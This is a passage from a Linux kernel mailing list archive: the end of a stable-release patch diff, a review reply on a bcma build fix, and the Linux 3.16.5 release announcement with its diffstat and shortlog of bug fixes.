-static void __exit integrator_cpufreq_remove(struct platform_device *pdev)
+static int __exit integrator_cpufreq_remove(struct platform_device *pdev)
 {
-   cpufreq_unregister_driver(_driver);
+   return cpufreq_unregister_driver(_driver);
 }
 
 static const struct of_device_id integrator_cpufreq_match[] = {
diff --git a/drivers/gpu/drm/i915/i915_gem_gtt.c 
b/drivers/gpu/drm/i915/i915_gem_gtt.c
index d278be110805..1855cdca39cd 100644
--- a/drivers/gpu/drm/i915/i915_gem_gtt.c
+++ b/drivers/gpu/drm/i915/i915_gem_gtt.c
@@ -827,6 +827,16 @@ void i915_check_and_clear_faults(struct drm_device *dev)
POSTING_READ(RING_FAULT_REG(_priv->ring[RCS]));
 }
 
+static void i915_ggtt_flush(struct drm_i915_private *dev_priv)
+{
+   if (INTEL_INFO(dev_priv->dev)->gen < 6) {
+   intel_gtt_chipset_flush();
+   } else {
+   I915_WRITE(GFX_FLSH_CNTL_GEN6, GFX_FLSH_CNTL_EN);
+   POSTING_READ(GFX_FLSH_CNTL_GEN6);
+   }
+}
+
 void i915_gem_suspend_gtt_mappings(struct drm_device *dev)
 {
struct drm_i915_private *dev_priv = dev->dev_private;
@@ -843,6 +853,8 @@ void i915_gem_suspend_gtt_mappings(struct drm_device *dev)
   dev_priv->gtt.base.start / PAGE_SIZE,
   dev_priv->gtt.base.total / PAGE_SIZE,
   true);
+
+   i915_ggtt_flush(dev_priv);
 }
 
 void i915_gem_restore_gtt_mappings(struct drm_device *dev)
@@ -863,7 +875,7 @@ void i915_gem_restore_gtt_mappings(struct drm_device *dev)
i915_gem_gtt_bind_object(obj, obj->cache_level);
}
 
-   i915_gem_chipset_flush(dev);
+   i915_ggtt_flush(dev_priv);
 }
 
 int i915_gem_gtt_prepare_object(struct drm_i915_gem_object *obj)
diff --git a/drivers/md/raid5.c b/drivers/md/raid5.c
index 18cda77b4f79..4913c0690872 100644
--- a/drivers/md/raid5.c
+++ b/drivers/md/raid5.c
@@ -64,6 +64,10 @@
 #define cpu_to_group(cpu) cpu_to_node(cpu)
 #define ANY_GROUP NUMA_NO_NODE
 
+static bool devices_handle_discard_safely = false;
+module_param(devices_handle_discard_safely, bool, 0644);
+MODULE_PARM_DESC(devices_handle_discard_safely,
+"Set to Y if all devices in each array reliably return zeroes 
on reads from discarded regions");
 static struct workqueue_struct *raid5_wq;
 /*
  * Stripe cache
@@ -6117,7 +6121,7 @@ static int run(struct mddev *mddev)
mddev->queue->limits.discard_granularity = stripe;
/*
 * unaligned part of discard request will be ignored, so can't
-* guarantee discard_zerors_data
+* guarantee discard_zeroes_data
 */
mddev->queue->limits.discard_zeroes_data = 0;
 
@@ -6142,6 +6146,18 @@ static int run(struct mddev *mddev)
!bdev_get_queue(rdev->bdev)->
   

Re: [PATCH] bcma: fix build when CONFIG_OF_ADDRESS is not set

2014-10-09 Thread Guenter Roeck
On Thu, Oct 09, 2014 at 11:39:41PM +0200, Hauke Mehrtens wrote:
> Commit 2101e533f41a ("bcma: register bcma as device tree driver")
> introduces a hard dependency on OF_ADDRESS into the bcma driver.
> OF_ADDRESS is specifically disabled for the sparc architecture.
> This results in the following error when building sparc64:allmodconfig.
> 
> drivers/bcma/main.c: In function 'bcma_of_find_child_device':
> drivers/bcma/main.c:150:3: error: implicit declaration of function 
> 'of_translate_address'
> 
> Fixes: 2101e533f41a ("bcma: register bcma as device tree driver")
> Reported-by: Guenter Roeck 
> Signed-off-by: Hauke Mehrtens 

Much better than my patch.

Reviewed-by: Guenter Roeck 

Also compile tested to make sure it fixes the build problem.

Guenter

> ---
>  drivers/bcma/main.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/bcma/main.c b/drivers/bcma/main.c
> index d1656c2..1000955 100644
> --- a/drivers/bcma/main.c
> +++ b/drivers/bcma/main.c
> @@ -132,7 +132,7 @@ static bool bcma_is_core_needed_early(u16 core_id)
>   return false;
>  }
>  
> -#ifdef CONFIG_OF
> +#if defined(CONFIG_OF) && defined(CONFIG_OF_ADDRESS)
>  static struct device_node *bcma_of_find_child_device(struct platform_device 
> *parent,
>struct bcma_device *core)
>  {
> -- 
> 1.9.1
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Linux 3.16.5

2014-10-09 Thread Greg KH
I'm announcing the release of the 3.16.5 kernel.

All users of the 3.16 kernel series must upgrade.

The updated 3.16.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git 
linux-3.16.y
and can be browsed at the normal kernel.org git web browser:

http://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary

thanks,

greg k-h



 Makefile |2 
 arch/ia64/pci/fixup.c|4 -
 arch/x86/include/asm/vga.h   |6 --
 arch/x86/pci/fixup.c |3 -
 drivers/cpufreq/integrator-cpufreq.c |4 -
 drivers/cpufreq/pcc-cpufreq.c|2 
 drivers/gpu/drm/i915/i915_gem_gtt.c  |   14 ++
 drivers/gpu/drm/i915/intel_opregion.c|   16 +--
 drivers/gpu/vga/vgaarb.c |   38 +
 drivers/i2c/busses/i2c-qup.c |   12 +++--
 drivers/i2c/busses/i2c-rk3x.c|2 
 drivers/md/raid5.c   |   18 +++-
 drivers/media/v4l2-core/videobuf2-core.c |   15 ++
 drivers/usb/storage/uas-detect.h |   67 +++
 drivers/video/fbdev/efifb.c  |   39 --
 fs/cifs/smb1ops.c|2 
 fs/cifs/smb2maperror.c   |2 
 fs/udf/inode.c   |   35 +---
 include/linux/jiffies.h  |   12 -
 include/media/videobuf2-core.h   |4 +
 init/Kconfig |1 
 kernel/events/core.c |4 +
 kernel/fork.c|5 +-
 kernel/time.c|   54 +---
 kernel/trace/ring_buffer.c   |2 
 mm/huge_memory.c |   11 +++--
 mm/memcontrol.c  |   36 ++--
 mm/migrate.c |5 +-
 sound/soc/codecs/ssm2602.c   |2 
 sound/soc/soc-core.c |2 
 30 files changed, 259 insertions(+), 160 deletions(-)

Aaron Lu (1):
  ACPI / i915: Update the condition to ignore firmware backlight change 
request

Alexandru M Stan (1):
  i2c: rk3x: fix 0 length write transfers

Andrew Hunter (1):
  jiffies: Fix timeval conversion to jiffies

Andy Gross (1):
  i2c: qup: Fix order of runtime pm initialization

Arnd Bergmann (1):
  cpufreq: integrator: fix integrator_cpufreq_remove return type

Bruno Prémont (2):
  x86, ia64: Move EFI_FB vga_default_device() initialization to 
pci_vga_fixup()
  vgaarb: Don't default exclusively to first video device with mem+io

Chris Wilson (1):
  drm/i915: Flush the PTEs after updating them before suspend

Greg Kroah-Hartman (1):
  Linux 3.16.5

Hans Verkuil (1):
  media: vb2: fix VBI/poll regression

Hans de Goede (4):
  uas: Only complain about missing sg if all other checks succeed
  uas: Log a warning when we cannot use uas because the hcd lacks streams
  uas: Disable uas on ASM1051 devices
  uas: Add missing le16_to_cpu calls to asm1051 / asm1053 usb-id check

Jan Kara (1):
  udf: Avoid infinite loop when processing indirect ICBs

Johannes Weiner (1):
  mm: memcontrol: do not iterate uninitialized memcgs

Josh Triplett (1):
  init/Kconfig: Fix HAVE_FUTEX_CMPXCHG to not break up the EXPERT menu

Mel Gorman (2):
  mm: migrate: Close race between migration completion and mprotect
  mm: numa: Do not mark PTEs pte_numa when splitting huge pages

NeilBrown (1):
  md/raid5: disable 'DISCARD' by default due to safety concerns.

Peter Zijlstra (1):
  perf: fix perf bug in fork()

Rafael J. Wysocki (1):
  cpufreq: pcc-cpufreq: Fix wait_event() under spinlock

Stefan Kristiansson (1):
  ASoC: ssm2602: do not hardcode type to SSM2602

Steve French (1):
  Fix problem recognizing symlinks

Steven Rostedt (Red Hat) (1):
  ring-buffer: Fix infinite spin in reading buffer

Waiman Long (1):
  mm, thp: move invariant bug check out of loop in __split_huge_page_map

Xiubo Li (1):
  ASoC: core: fix possible ZERO_SIZE_PTR pointer dereferencing error.



pgpN2J2ZCtJ5r.pgp
Description: PGP signature


  1   2   3   4   5   6   7   8   9   10   >